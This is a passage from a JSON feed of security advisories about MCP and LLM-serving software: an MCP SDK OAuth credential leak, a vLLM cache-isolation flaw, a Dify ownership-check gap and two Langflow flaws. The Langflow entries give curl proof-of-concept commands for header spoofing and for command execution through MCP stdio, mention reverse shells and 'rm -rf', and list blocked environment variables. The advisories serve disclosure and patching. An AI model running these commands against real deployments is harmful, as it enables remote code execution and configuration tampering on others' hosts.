        "@modelcontextprotocol/sdk",
        "@modelcontextprotocol/client",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:GHSA-6qxp-vccf-f47h",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-6qxp-vccf-f47h",
      "title": "[UNKNOWN] GHSA-6qxp-vccf-f47h: MCP TypeScript SDK: OAuth client could send credentials to an authorization server chosen by the MCP server",
      "summary": "MCP TypeScript SDK: OAuth client could send credentials to an authorization server chosen by the MCP server",
      "content_html": "<p><strong>Vulnerability ID:</strong> GHSA-6qxp-vccf-f47h</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> @modelcontextprotocol/sdk, @modelcontextprotocol/client</p>\n<p><strong>Details:</strong><br>### Summary\nIn affected versions, the SDK's OAuth client let the MCP server decide which authorization server received the client's OAuth credentials. Credentials were not tied to the authorization server they belong to.\n\nA malicious or compromised MCP server could name its own authorization server. With no user interaction, the client would send it:\n\n- the `refresh_token` and `client_secret` stored from an earlier sign-in\n- the `client_secret` or signed assertion configured on a bundled provider\n\n### Am I affected?\nYes, if both of these hold:\n\n- your application uses the SDK's OAuth client over HTTP, through any of:\n    - an `authProvider` on a transport\n    - the `withOAuth()` middleware\n    - direct calls to `auth()` or `fetchToken()`\n- it may connect to an MCP server you do not fully trust while holding credentials for a legitimate authorization server\n\nAffected versions:\n\n- `@modelcontextprotocol/sdk` 1.12.0 through 1.30.1\n- `@modelcontextprotocol/client` 2.0.0 through 2.1.0, only for:\n    - bundled providers without `expectedIssuer`\n    - credentials stored or supplied without `issuer`\n    - direct calls to `fetchToken()`\n    - providers that read storage back through `OAuthTokensSchema` or `OAuthClientInformationSchema`\n\nNot affected:\n\n- MCP servers built with the SDK\n- stdio clients\n\n### Fix\nUpgrade to:\n\n- 1.x: `@modelcontextprotocol/sdk` 1.31.0 or later\n- 2.x: `@modelcontextprotocol/client` 2.2.0 or later, and `@modelcontextprotocol/core` 2.2.0 or later if you import it directly\n\nThe client now records the authorization server as `issuer` on saved credentials and does not send them to a different one. The user signs in again, or the call throws.\n\nIn the following cases, upgrading to the patched version is not enough. You also need to make a change:\n\n- **Bundled providers** (`ClientCredentialsProvider`, `PrivateKeyJwtProvider`, `StaticPrivateKeyJwtProvider`, `CrossAppAccessProvider`): pass `expectedIssuer`, for example `expectedIssuer: 'https://auth.example.com'`. Without it they still use whichever authorization server the MCP server names.\n- **Credentials saved without `issuer`:** tokens and client information your `OAuthClientProvider` persisted (file, keychain, database) before upgrading, including everything 1.x saved before 1.31.0. They still go to whichever authorization server is named at first use. Add `issuer` to them, or clear them so users sign in again.\n- **Your own `OAuthClientProvider`:** save exactly what `saveTokens()` and `saveClientInformation()` are given, including `issuer`. For pre-registered credentials, include `issuer` in what `clientInformation()` returns.\n\nNot covered by this fix:\n\n- a new interactive sign-in, which still goes to the authorization server the MCP server names. Only complete sign-ins for servers you trust.\n- `refreshAuthorization()` and `exchangeAuthorization()` called directly\n- 2.x with `skipIssuerMetadataValidation: true`\n\nIf an affected client may have connected to an untrusted MCP server, rotate its client secret or signing key and revoke its tokens.\n\nIf you cannot upgrade yet, connect OAuth clients only to MCP servers you trust. 2.0.0 and 2.1.0 already accept `expectedIssuer`.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-6qxp-vccf-f47h\">https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-6qxp-vccf-f47h</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/typescript-sdk/pull/2887\">https://github.com/modelcontextprotocol/typescript-sdk/pull/2887</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/typescript-sdk/commit/edd12e282620ebf770d67316f19cf91d4112a1bd\">https://github.com/modelcontextprotocol/typescript-sdk/commit/edd12e282620ebf770d67316f19cf91d4112a1bd</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/typescript-sdk/releases/tag/v2.2.0\">https://github.com/modelcontextprotocol/typescript-sdk/releases/tag/v2.2.0</a></li>\n</ul></p>",
      "date_published": "2026-10-06T15:35:44Z",
      "date_modified": "2026-10-06T15:35:44Z",
      "tags": [
        "UNKNOWN",
        "@modelcontextprotocol/sdk",
        "@modelcontextprotocol/client"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:GHSA-935w-9g4m-p28p",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-935w-9g4m-p28p",
      "title": "[UNKNOWN] GHSA-935w-9g4m-p28p: vLLM: Harmony tool continuations drop `cache_salt` — restoring a cross-tenant prefix-cache membership oracle",
      "summary": "vLLM: Harmony tool continuations drop `cache_salt` — restoring a cross-tenant prefix-cache membership oracle",
      "content_html": "<p><strong>Vulnerability ID:</strong> GHSA-935w-9g4m-p28p</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> vllm</p>\n<p><strong>Details:</strong><br>## Affected\n\n- **Ecosystem / package:** pip / `vllm`\n- **Affected versions:** vLLM ≤ 0.25.1 (confirmed on 0.25.1, commit [`752a3a504485`](https://github.com/vllm-project/vllm/tree/752a3a504485790a2e8491cacbb35c137339ad34)). The lower bound predates 0.25.1; maintainers can confirm how far back the tool-continuation re-submission has omitted the salt.\n\n## Summary\n\nOn the GPT-OSS \"Harmony\" path (`POST /v1/responses`), a request that uses a built-in or MCP tool runs as a multi-turn loop: after each tool call vLLM re-renders the full next-turn Harmony prompt and re-submits it to the engine. Turn 1 correctly carries `request.cache_salt`, but the tool-continuation re-submission rebuilds the engine input via `tokens_input(token_ids)` with **no** `cache_salt`. The continuation prefix is therefore cached in the global *unsalted* namespace even though the caller opted into salting. A second tenant who can guess the low-entropy post-tool history submits the reconstructed continuation (unsalted) and reads exact per-turn cached-token counts from the Responses usage — restoring the prompt-membership oracle that `cache_salt` is documented to prevent.\n\nSilently dropping a preserved salt *after* the supported tool workflow is enabled is a broken isolation control: the caller enabled salting and every turn should stay isolated, but continuation turns leak into the shared cache.\n\nThis is distinct from [GHSA-4qjh-9fv9-r85r](https://github.com/vllm-project/vllm/security/advisories/GHSA-4qjh-9fv9-r85r) ([CVE-2025-46570](https://nvd.nist.gov/vuln/detail/CVE-2025-46570)): that advisory is the prefix-cache membership oracle for which `cache_salt` is the documented mitigation, and its PR-17045 fix does not close this site — the Harmony tool continuation silently drops the preserved salt, caching in the unsalted namespace and leaking exact `cached_tokens_per_turn` counts from a different sink (the Responses serving continuation, not general TTFT timing).\n\n## Affected code\n\nLinks pinned to the confirmed commit [`752a3a504485`](https://github.com/vllm-project/vllm/tree/752a3a504485790a2e8491cacbb35c137339ad34) (v0.25.1):\n\n- **The drop (sink):** [`vllm/entrypoints/openai/responses/serving.py#L712-L713`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/openai/responses/serving.py#L712-L713) — `token_ids = context.render_for_completion()` then `engine_input = tokens_input(token_ids)`, with no `cache_salt`.\n- **Correct turn-1 call for contrast:** [`vllm/entrypoints/openai/responses/serving.py#L755`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/openai/responses/serving.py#L755) — `tokens_input(prompt_token_ids, cache_salt=request.cache_salt)`.\n- **`tokens_input` stores the salt only if passed:** [`vllm/inputs/engine.py#L51-L66`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/inputs/engine.py#L51-L66) (`if cache_salt is not None: inputs[\"cache_salt\"] = cache_salt`).\n- **The engine request copies only the current input's salt:** [`vllm/v1/engine/input_processor.py#L380`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/engine/input_processor.py#L380) (`cache_salt=decoder_inputs.get(\"cache_salt\")` → `None` for the continuation).\n- **Prefix-cache hashing keys on the salt only when present:** [`vllm/v1/core/kv_cache_utils.py#L560-L561`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/core/kv_cache_utils.py#L560-L561) (`[request.cache_salt] if (start_token_idx == 0 and request.cache_salt) else []`).\n- **The oracle the attacker reads:** [`vllm/entrypoints/openai/responses/serving.py#L909`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/openai/responses/serving.py#L909) (`cached_tokens_per_turn`).\n- **The documented control being defeated:** [`vllm/entrypoints/openai/responses/protocol.py#L235`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/openai/responses/protocol.py#L235) (`cache_salt` field).\n\nThe tool-continuation re-submission rebuilds the engine input with no `cache_salt`:\n\n```python\n# vllm/entrypoints/openai/responses/serving.py Lines 711-715\n            if isinstance(context, HarmonyContext):\n                token_ids = context.render_for_completion()\n                engine_input = tokens_input(token_ids)\n\n                sampling_params.max_tokens = max_model_len - len(token_ids)\n```\n\nContrast with the correct turn-1 call, which does preserve the caller's salt:\n\n```python\n# vllm/entrypoints/openai/responses/serving.py Lines 754-755\n        prompt_token_ids = render_for_completion(messages)\n        engine_input = tokens_input(prompt_token_ids, cache_salt=request.cache_salt)\n```\n\n`tokens_input` stores the salt on the engine input only when it is passed, so the continuation input carries none and lands in the unsalted namespace:\n\n```python\n# vllm/inputs/engine.py Lines 51-66\ndef tokens_input(\n    prompt_token_ids: list[int],\n    *,\n    prompt: str | None = None,\n    cache_salt: str | None = None,\n) -> TokensInput:\n    \"\"\"\n    Construct [`TokensInput`][vllm.inputs.engine.TokensInput]\n    from optional values.\n    \"\"\"\n    inputs = TokensInput(type=\"token\", prompt_token_ids=prompt_token_ids)\n\n    if prompt is not None:\n        inputs[\"prompt\"] = prompt\n    if cache_salt is not None:\n        inputs[\"cache_salt\"] = cache_salt\n```\n\n## Impact\n\nAn authenticated tenant of a shared deployment can recover whether a guessed post-tool prompt or history was processed by another tenant, with exact cached-token counts rather than noisy latency — the exact prompt-membership oracle `cache_salt` is documented to prevent. It defeats the multi-user prefix-cache isolation guarantee for salted Harmony tool sessions.\n\nPreconditions: a GPT-OSS Harmony model on `/v1/responses`; prefix caching enabled (default); an operator-enabled built-in or MCP tool server; the victim sets `cache_salt` and triggers at least one tool continuation; and the attacker can reconstruct the post-tool history closely enough to match the token prefix. The `AC:H` metric reflects that guessable-history precondition.\n\n\n## Suggested Fix\n\nPropagate `request.cache_salt` into every Harmony (and Parsable) tool-continuation re-submission — at the continuation call site call `tokens_input(token_ids, cache_salt=request.cache_salt)`, mirroring the correct turn-1 call. Carry the salt on the `HarmonyContext` (thread the originating `request` into the context) so no continuation path can omit it:\n\n```diff\n# vllm/entrypoints/openai/responses/serving.py\n             if isinstance(context, HarmonyContext):\n                 token_ids = context.render_for_completion()\n-                engine_input = tokens_input(token_ids)\n+                engine_input = tokens_input(\n+                    token_ids,\n+                    cache_salt=(\n+                        context.request.cache_salt\n+                        if context.request is not None\n+                        else None\n+                    ),\n+                )\n```\n\nwith `HarmonyContext.__init__` gaining a `request: ResponsesRequest | None = None` parameter (stored as `self.request`) that `_create_responses` passes when constructing the context. The continuation prefix is then cached in the victim's salted namespace, mirroring turn 1.\n\nSuggested regression test: assert `cached_tokens_per_turn == 0` for a different-salt probe against a salted victim continuation (the four-way control from the proof of concept).\n\n## Credit\n\n**Reported by:** Patch the Planet (Trail of Bits + OpenAI collaboration)\n\nThis vulnerability was discovered using GPT-5.5-Cyber as part of the Patch the Planet security initiative.\n\n---\n\n**Proposed fix:** a fix for this issue is proposed in a public pull request: https://github.com/vllm-project/vllm/pull/51818</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/vllm-project/vllm/security/advisories/GHSA-935w-9g4m-p28p\">https://github.com/vllm-project/vllm/security/advisories/GHSA-935w-9g4m-p28p</a></li>\n<li><a href=\"https://github.com/vllm-project/vllm/pull/50195\">https://github.com/vllm-project/vllm/pull/50195</a></li>\n<li><a href=\"https://github.com/vllm-project/vllm/pull/51818\">https://github.com/vllm-project/vllm/pull/51818</a></li>\n<li><a href=\"https://github.com/vllm-project/vllm/commit/6a2a2bb02b563b83f946012959fd3927984d072a\">https://github.com/vllm-project/vllm/commit/6a2a2bb02b563b83f946012959fd3927984d072a</a></li>\n</ul></p>",
      "date_published": "2026-10-06T00:02:02Z",
      "date_modified": "2026-10-06T00:02:03Z",
      "tags": [
        "UNKNOWN",
        "vllm"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-105761",
      "url": "https://github.com/langgenius/dify/commit/62cb5b586504b730731e28e743c038b72950058e",
      "title": "[UNKNOWN] CVE-2026-105761: Dify is an open-source LLM app development platform. Prior to 1.16.0, the PUT /console/api/apps/&lt;app_id&gt;/server en",
      "summary": "Dify is an open-source LLM app development platform. Prior to 1.16.0, the PUT /console/api/apps/&lt;app_id&gt;/server en",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-105761</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Dify is an open-source LLM app development platform. Prior to 1.16.0, the PUT /console/api/apps/&lt;app_id&gt;/server endpoint in api/controllers/console/app/mcp_server.py used AppMCPServerController.put() to retrieve an AppMCPServer by the client-supplied server ID without verifying that the server belonged to the requested application and tenant. An authenticated workspace member could therefore change another application's MCP server status and parameters, potentially redirecting data or disabling the service. This issue is fixed in version 1.16.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/langgenius/dify/commit/62cb5b586504b730731e28e743c038b72950058e\">https://github.com/langgenius/dify/commit/62cb5b586504b730731e28e743c038b72950058e</a></li>\n<li><a href=\"https://github.com/langgenius/dify/pull/38177\">https://github.com/langgenius/dify/pull/38177</a></li>\n<li><a href=\"https://github.com/langgenius/dify/releases/tag/1.16.0\">https://github.com/langgenius/dify/releases/tag/1.16.0</a></li>\n<li><a href=\"https://github.com/langgenius/dify/security/advisories/GHSA-ccrj-frp2-c945\">https://github.com/langgenius/dify/security/advisories/GHSA-ccrj-frp2-c945</a></li>\n</ul></p>",
      "date_published": "2026-10-05T23:17:03.050Z",
      "date_modified": "2026-10-06T16:08:43.180Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-105741",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-4f6c-2vvp-gw82",
      "title": "[UNKNOWN] CVE-2026-105741: Langflow is a tool for building and deploying AI-powered agents and workflows. From 1.5.0 until 1.10.3, an IP spoofing v",
      "summary": "Langflow is a tool for building and deploying AI-powered agents and workflows. From 1.5.0 until 1.10.3, an IP spoofing v",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-105741</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> langflow, unknown</p>\n<p><strong>Details:</strong><br>**Description**:\n### Summary\nAn IP spoofing vulnerability in the Model Context Protocol (MCP) configuration installation endpoint (`POST /api/v1/mcp/project/{project_id}/install`) allowed authenticated remote attackers to bypass the \"local-only\" access restriction. By sending a spoofed `X-Forwarded-For: 127.0.0.1` header, an attacker could make the server treat the request as originating from localhost, letting them write/overwrite an MCP client configuration file on the server's filesystem.\n\n### Details\nThe vulnerability lived in the `get_client_ip` helper, used to enforce the local-only gate for `install_mcp_config`. It trusted the leftmost (fully client-controlled) entry of `X-Forwarded-For` unconditionally, with no check for whether the request had actually passed through a trusted proxy.\n\n**Vulnerable code (introduced by commit `d3d06be8e5`, first released in v1.5.0):** `src/backend/base/langflow/api/v1/mcp_projects.py`\n\n```python\ndef get_client_ip(request: Request) -> str:\n    # Check for X-Forwarded-For header (common when behind proxies)\n    forwarded_for = request.headers.get(\"X-Forwarded-For\")\n    if forwarded_for:\n        # The client IP is the first one in the list\n        return forwarded_for.split(\",\")[0].strip()\n    if request.client:\n        return request.client.host\n    return \"255.255.255.255\"\n\n\n@router.post(\"/{project_id}/install\")\nasync def install_mcp_config(\n    project_id: UUID,\n    body: MCPInstallRequest,        # {client: str, transport: \"sse\" | \"streamablehttp\" | None}\n    request: Request,\n    current_user: CurrentActiveMCPUser,\n):\n    client_ip = get_client_ip(request)\n    if not is_local_ip(client_ip):\n        raise HTTPException(status_code=500, detail=\"MCP configuration can only be installed from a local connection\")\n    ...\n```\n\n**Correction vs. the original report:** the request body accepted by this endpoint is `MCPInstallRequest {client: str, transport: str | None}` (`src/backend/base/langflow/api/v1/schemas/__init__.py`). There is no `mcp_path` field, and the destination path is never attacker-supplied. `install_mcp_config` resolves the write target itself, via `get_config_path(body.client)`, to one of a fixed, small set of well-known per-OS developer-tool config paths under the server process's home directory: `~/.cursor/mcp.json` (Cursor), `~/.codeium/windsurf/mcp_config.json` (Windsurf), or the Claude Desktop config (`~/Library/Application Support/Claude/claude_desktop_config.json` on macOS, `%APPDATA%\\Claude\\claude_desktop_config.json` on Windows/WSL). The impact is therefore \"attacker-influenced content written into one of these fixed files,\" not an arbitrary-path write.\n\n### PoC\n1. Authenticate to obtain a valid access token.\n2. Identify a `project_id` the attacker has access to.\n3. Send:\n   ```bash\n   curl -X POST \"http://<server-ip>:7860/api/v1/mcp/project/<project_id>/install\" \\\n        -H \"Authorization: Bearer <token>\" \\\n        -H \"X-Forwarded-For: 127.0.0.1\" \\\n        -H \"Content-Type: application/json\" \\\n        -d '{\"client\": \"cursor\"}'\n   ```\n4. The server returns `200 OK` and writes/overwrites `~/.cursor/mcp.json` on the host with an attacker-influenced MCP server entry, despite the request originating from a remote, non-local address.\n\n### Impact\nAuthenticated Remote Configuration Write to one of a fixed set of IDE/MCP client config files on the host. Could be leveraged to:\n- Inject a malicious MCP server definition into Cursor/Windsurf/Claude Desktop config, so a local developer who later opens that IDE on the host connects to an attacker-controlled MCP server.\n- Disrupt or corrupt the existing MCP configuration for those tools.\n- Bypass an intended network-boundary control (\"local-only\").\n\n### Status: already fixed\nThis exact bypass (single-line, comma-separated `X-Forwarded-For` spoofing, default configuration) is fixed as of:\n- **Fix PR:** langflow-ai/langflow#13915 — \"fix(security): stop trusting X-Forwarded-For for the MCP install locality check\", landed as part of the broader hardening effort in langflow-ai/langflow#13530.\n- **Fix:** `get_client_ip` now uses the real TCP peer (`request.client.host`) by default and ignores `X-Forwarded-For` entirely unless the operator has explicitly opted in via the `rate_limit_trust_proxy` setting (default `False`); when opted in, it takes the **rightmost** entry, mirroring `langflow.services.rate_limit.service.get_client_ip`.\n- **Released in:** v1.11.0, and backported to v1.10.3 (langflow-ai/langflow#14071).\n- **Related follow-up:** a narrower, related bypass — reachable only when an operator has explicitly set `rate_limit_trust_proxy=true` behind a proxy that emits `X-Forwarded-For` as repeated header lines rather than a single comma-separated line (e.g. HAProxy's `option forwardfor`) — was separately closed by langflow-ai/langflow#14425, released in v1.11.3. This does not affect default deployments (`rate_limit_trust_proxy` defaults to `False`).\n- This report is a near-duplicate of GHSA-qvvj-g573-9638, which describes the same root cause and is fixed by the same PR.\n\n### Affected versions\n- The vulnerable endpoint/helper was introduced in **v1.5.0** (langflow-ai/langflow#8271, \"add one click install to mcp servers on specific clients\", 2025-07-08). Versions prior to v1.5.0 do not contain this endpoint and are not affected by this issue.\n- **Vulnerable:** >= 1.5.0, < 1.10.3 (and < 1.11.0 on mainline).\n- **Fixed:** v1.10.3 (backport) and v1.11.0 onward.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/langflow-ai/langflow/security/advisories/GHSA-4f6c-2vvp-gw82\">https://github.com/langflow-ai/langflow/security/advisories/GHSA-4f6c-2vvp-gw82</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-105741\">https://nvd.nist.gov/vuln/detail/CVE-2026-105741</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/pull/13915\">https://github.com/langflow-ai/langflow/pull/13915</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/commit/1f39a4b9d62c9dfa1b21fa7f85e23a180c351b72\">https://github.com/langflow-ai/langflow/commit/1f39a4b9d62c9dfa1b21fa7f85e23a180c351b72</a></li>\n</ul></p>",
      "date_published": "2026-10-05T21:16:35.740Z",
      "date_modified": "2026-10-07T16:18:25Z",
      "tags": [
        "UNKNOWN",
        "langflow",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-105740",
      "url": "https://github.com/langflow-ai/langflow/commit/efbc4a16e639409d938a4883463d27ef0bc637a0",
      "title": "[UNKNOWN] CVE-2026-105740: Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, any authenticated Langflo",
      "summary": "Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, any authenticated Langflo",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-105740</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, any authenticated Langflow user can achieve Remote Code Execution (RCE) on the server by adding an MCP server with the \"Stdio\" transport. The user-supplied command field is passed directly to bash -c \"exec {command}\" with zero validation, no allowlisting, and no sandboxing. The command executes immediately when the server list is fetched. Additionally, the env field allows arbitrary environment variable injection (e.g., LD_PRELOAD, PATH override). This vulnerability is fixed in 1.9.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/langflow-ai/langflow/commit/efbc4a16e639409d938a4883463d27ef0bc637a0\">https://github.com/langflow-ai/langflow/commit/efbc4a16e639409d938a4883463d27ef0bc637a0</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/pull/12290\">https://github.com/langflow-ai/langflow/pull/12290</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/security/advisories/GHSA-7w94-79vh-5mr2\">https://github.com/langflow-ai/langflow/security/advisories/GHSA-7w94-79vh-5mr2</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45\">https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45</a></li>\n</ul></p>",
      "date_published": "2026-10-05T21:16:35.567Z",
      "date_modified": "2026-10-06T19:17:41.197Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-105697",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45",
      "title": "[UNKNOWN] CVE-2026-105697: Langflow is a tool for building and deploying AI-powered agents and workflows. Before Langflow 1.10.3, the MCP stdio tra",
      "summary": "Langflow is a tool for building and deploying AI-powered agents and workflows. Before Langflow 1.10.3, the MCP stdio tra",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-105697</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> langflow, langflow-base, lfx, unknown</p>\n<p><strong>Details:</strong><br>### Summary\n\nBefore **Langflow 1.10.3**, the MCP stdio transport launched whatever `command` / `args` a user put in an MCP server configuration, with no allowlist and (before 1.10.3) wrapped in `bash -c \"exec {command} ...\"`. Any user able to reach the MCP server settings (\"Settings → MCP Servers → Add MCP Server\", `POST/PATCH /api/v2/mcp/servers/{server_name}`) or to build a flow with the MCP Tools component could add a \"server\" whose command is an arbitrary OS command (`touch`, `rm -rf`, a reverse shell, ...). The command runs on the Langflow host as the Langflow process user as soon as Langflow tries to connect to the server (listing servers, loading tools, running the flow) — even when the UI then reports that the stdio server failed to start.\n\nWith the default `LANGFLOW_AUTO_LOGIN=true`, `GET /api/v1/auto_login` hands out a token without credentials, so on an exposed instance running the default configuration this is reachable without an account. `AUTO_LOGIN` is documented as a development-only setting; with it disabled, any authenticated (non-admin) user can exploit it.\n\nThe issue was fixed in two steps and is **fully fixed in Langflow 1.10.3** (and 1.11.0+):\n\n- **1.9.0** — #12290 added a command allowlist and argument/env validation to the REST model (`MCPServerConfig`), blocking the \"Add MCP Server\" vector reported here.\n- **1.10.3** — #14036 applied the same policy at the execution sink (`lfx.base.mcp.util`), including configs embedded in flows / tweaks and the final pre-spawn boundary, and removed the `bash -c` wrapper (the process is now exec'd directly, without a shell).\n\n### Affected versions\n\n| Package (PyPI) | Vulnerable | Patched |\n|---|---|---|\n| `langflow` | `>= 1.1.2, < 1.10.3` | `1.10.3` |\n| `langflow-base` | `>= 0.1.2, < 0.10.3` | `0.10.3` |\n| `lfx` | `< 1.10.3` | `1.10.3` |\n\n| Release | State |\n|---|---|\n| `1.1.2` – `1.4.x` | MCP Stdio component (added in #5148) runs `StdioServerParameters(command=..., args=...)` from the component's `command` field with no validation. |\n| `1.5.0` – `1.8.x` | \"Add MCP Server\" settings page and `/api/v2/mcp/servers` API added (#8388). Stored stdio configs are launched via `bash -c \"exec {command_str} ...\"` with no validation. The PoC below works as-is. |\n| `1.9.0` – `1.10.2` | #12290: `POST`/`PATCH /api/v2/mcp/servers` reject commands outside the allowlist. The execution sink still has no validation and still uses `bash -c`, so configs that do not go through `MCPServerConfig` (for example an MCP Tools component value embedded in a flow or passed as a tweak) can still execute arbitrary commands. |\n| `1.10.3`+ | #14036: one shared policy (`lfx.base.mcp.security.validate_mcp_stdio_config`) is enforced at the API, at flow execution and right before the process is spawned; no shell is used. **Fixed.** |\n\n### Details\n\nVulnerable sink (`src/lfx/src/lfx/base/mcp/util.py`, `MCPStdioClient._connect_to_server`, before 1.10.3):\n\n```python\nserver_params = StdioServerParameters(\n    command=\"bash\",\n    args=[\"-c\", f\"exec {command_str} || echo 'Command failed with exit code $?' >&2\"],\n    env=env_data,\n)\n```\n\n`command_str` is built from the user's `command` + `args`. The only \"validation\" before 1.9.0 was `_validate_node_installation`, which only checks that Node.js is installed when the command contains `npx`. The MCP SDK then starts the process with `anyio.open_process`, so the command runs before any MCP handshake — which is why it executes even if the UI shows \"failed to start\".\n\n### PoC (as reported, Langflow 1.5.0 – 1.8.x)\n\nIn \"Add MCP Server\" → STDIO, add:\n\n```\nName      - Test\nCommand   - touch\nArguments - /tmp/pwn\n```\n\nOr through the API, using a token from `auto_login` (default configuration):\n\n```bash\nTOKEN=$(curl -s http://127.0.0.1:7860/api/v1/auto_login | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"access_token\"])')\n\ncurl -s -X POST 'http://127.0.0.1:7860/api/v2/mcp/servers/testing' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  --data-raw '{\"command\":\"touch\",\"args\":[\"/tmp/pwned_langflow\"]}'\n```\n\n`/tmp/pwned_langflow` gets created on the server. On 1.10.3+ the request is rejected with `Command 'touch' is not allowed for security reasons. Allowed commands: bash, cmd, docker, node, npx, python, python3, uvx`, and the same payload fails at the sink (`MCPStdioClient.connect_to_server(\"touch /tmp/pwned_langflow\")` raises `MCPStdioSecurityError`, and no file is created). Wrappers such as `bash -c \"touch ...\"`, `sh -c ...`, `python3 -c ...` and `node -e ...` are also rejected.\n\n### Fix\n\n- **#12290** (1.9.0) — `MCPServerConfig` validators: command allowlist (`node`, `python`, `python3`, `npx`, `uvx`, `docker`, and `cmd`/`sh`/`bash` only to wrap one of those), shell-metacharacter and dangerous-keyword checks on arguments, env var blocklist (`LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, ...), and Docker isolation checks.\n- **#14036** (1.10.3) — moves the policy into `lfx.base.mcp.security.validate_mcp_stdio_config` and enforces it at every entry point (API, embedded flow / tweak configs, the deprecated MCP Stdio component and just before spawn); it also launches the process without a shell:\n\n```python\ncommand_parts = shlex.split(command_str)\ncommand, args = command_parts[0], command_parts[1:]\nvalidate_mcp_stdio_config(command, args, env)   # final pre-spawn enforcement\nserver_params = StdioServerParameters(command=command, args=final_args, env=env_data)\n```\n\nLater hardening (1.11.0, #13530) adds optional stricter modes for multi-tenant deployments.\n\n### Workarounds (if you cannot upgrade)\n\n- Set `LANGFLOW_AUTO_LOGIN=false` and do not expose Langflow directly to untrusted networks.\n- Only give Langflow accounts to trusted users.\n\n### Hardening recommendations for 1.10.3+\n\nThe allowlist still lets `npx` / `uvx` run any package by default, which is how MCP servers are normally distributed. On multi-tenant deployments, operators should also set:\n\n- `LANGFLOW_MCP_SERVER_ALLOWED_PACKAGES` — the exact packages `npx` / `uvx` may run.\n- `LANGFLOW_MCP_SERVER_INTERPRETER_HARDENING=true` and `LANGFLOW_MCP_SERVER_DOCKER_HARDENING=true`.\n- On 1.11.1+ (#14150), restricting custom code (`LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false`, `LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true` or `LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true`) also limits MCP stdio servers to superusers.\n\n### Impact\n\nRemote code execution on the Langflow host as the Langflow process user (CWE-78). Any exposed instance on a vulnerable version is affected, whether the attacker has an account or uses the default `AUTO_LOGIN`. The reporter found several internet-facing Langflow servers that were vulnerable.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45\">https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-105697\">https://nvd.nist.gov/vuln/detail/CVE-2026-105697</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/pull/12290\">https://github.com/langflow-ai/langflow/pull/12290</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/pull/14036\">https://github.com/langflow-ai/langflow/pull/14036</a></li>\n</ul></p>",
